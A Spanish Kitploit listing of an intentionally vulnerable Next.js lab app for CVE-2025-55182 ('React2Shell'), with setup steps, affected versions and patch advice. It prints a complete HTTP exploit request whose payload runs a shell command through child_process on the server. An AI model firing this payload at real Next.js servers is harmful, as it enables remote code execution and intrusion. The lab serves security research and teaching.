Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
NextJS-app-CVE-2025-55182 — Prueba de concepto de una aplicación Next.js que demuestra CVE-2025-55182 (React2Shell), una RCE crítica en React Server Components, con ejemplo de exploit y guía de mitigación para investigación de seguridad. | Kitploit
Herramientas/GitHubGitHub/s-mughal/nextjs-app-cve-2025-55182
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubs-mughal/nextjs-app-cve-2025-55182

NextJS-app-CVE-2025-55182

Prueba de concepto de una aplicación Next.js que demuestra CVE-2025-55182 (React2Shell), una RCE crítica en React Server Components, con ejemplo de exploit y guía de mitigación para investigación de seguridad.

Ver Repositorio
1hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Prueba de Concepto de Next.js CVE-2025-55182

Esta es una aplicación Next.js de prueba de concepto vulnerable a CVE-2025-55182 (también conocida como "React2Shell"), una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en React Server Components.

⚠️ ADVERTENCIA

Esta aplicación es intencionalmente vulnerable y SOLO debe usarse para:

  • Investigación de seguridad
  • Fines educativos
  • Pruebas en entornos aislados

NO:

  • Desplegar en producción
  • Exponer a redes no confiables
  • Usar con datos sensibles

Detalles de la Vulnerabilidad

CVE-2025-55182 afecta:

  • Versiones de React 19.0.0 a 19.2.0
  • Versiones de Next.js 15.x y 16.x (usando App Router)
  • Aplicaciones que usan React Server Components (RSC)

La vulnerabilidad se origina por una deserialización insegura en el manejo de cargas útiles de React Server Components, permitiendo a atacantes no autenticados ejecutar código arbitrario en el servidor a través de solicitudes HTTP especialmente diseñadas.

Instrucciones de Configuración

Opción 1: Desarrollo Local

  1. Instalar dependencias:

    root@kitploit:~
    npm install
    
  2. Ejecutar el servidor de desarrollo:

    root@kitploit:~
    npm run dev
    
  3. Acceder a la aplicación: Abre http://localhost:3000 en tu navegador.

Opción 2: Docker

  1. Construir la imagen Docker:

    root@kitploit:~
    docker build -t nextjs-cve-2025-55182 .
    
  2. Ejecutar el contenedor:

    root@kitploit:~
    docker run --rm -p 3000:3000 nextjs-cve-2025-55182
    
  3. Acceder a la aplicación: Abre http://localhost:3000 en tu navegador.

Estructura de la Aplicación

  • Página de inicio de sesión (/): Un formulario de inicio de sesión simple usando React Server Components
  • Panel de control (/dashboard): Una página protegida accesible después de iniciar sesión

Componentes Vulnerables

Esta aplicación usa:

  • Next.js 15.1.0 (versión vulnerable)
  • React 19.0.0 (versión vulnerable)
  • App Router con React Server Components (RSC)
  • Estructura básica de create-next-app

La vulnerabilidad existe en el mecanismo de deserialización de cargas útiles RSC, que puede ser explotado enviando solicitudes HTTP multipart maliciosas directamente a las rutas de página (por ejemplo, http://localhost:3000 o http://localhost:3000/dashboard). El exploit funciona en cualquier página que use React Server Components.

Explotación

La vulnerabilidad puede ser explotada enviando solicitudes HTTP especialmente diseñadas directamente a las rutas de página (por ejemplo, http://localhost:3000 o http://localhost:3000/dashboard). El exploit funciona en cualquier página que use React Server Components.

Ejemplo Rápido de Exploit

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

El exploit apunta directamente a las rutas de página: funciona en localhost:3000 (página de inicio) o localhost:3000/dashboard (página de panel de control).

Mitigación

Para corregir esta vulnerabilidad:

  • Actualizar React a la versión 19.0.1, 19.1.2 o 19.2.1+
  • Actualizar Next.js a una versión parcheada (15.0.5+ o 16.x con parches)

Referencias

  • CVE-2025-55182
  • Aviso de seguridad de React
  • Aviso de seguridad de Next.js

Licencia

Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad.

Descargar herramienta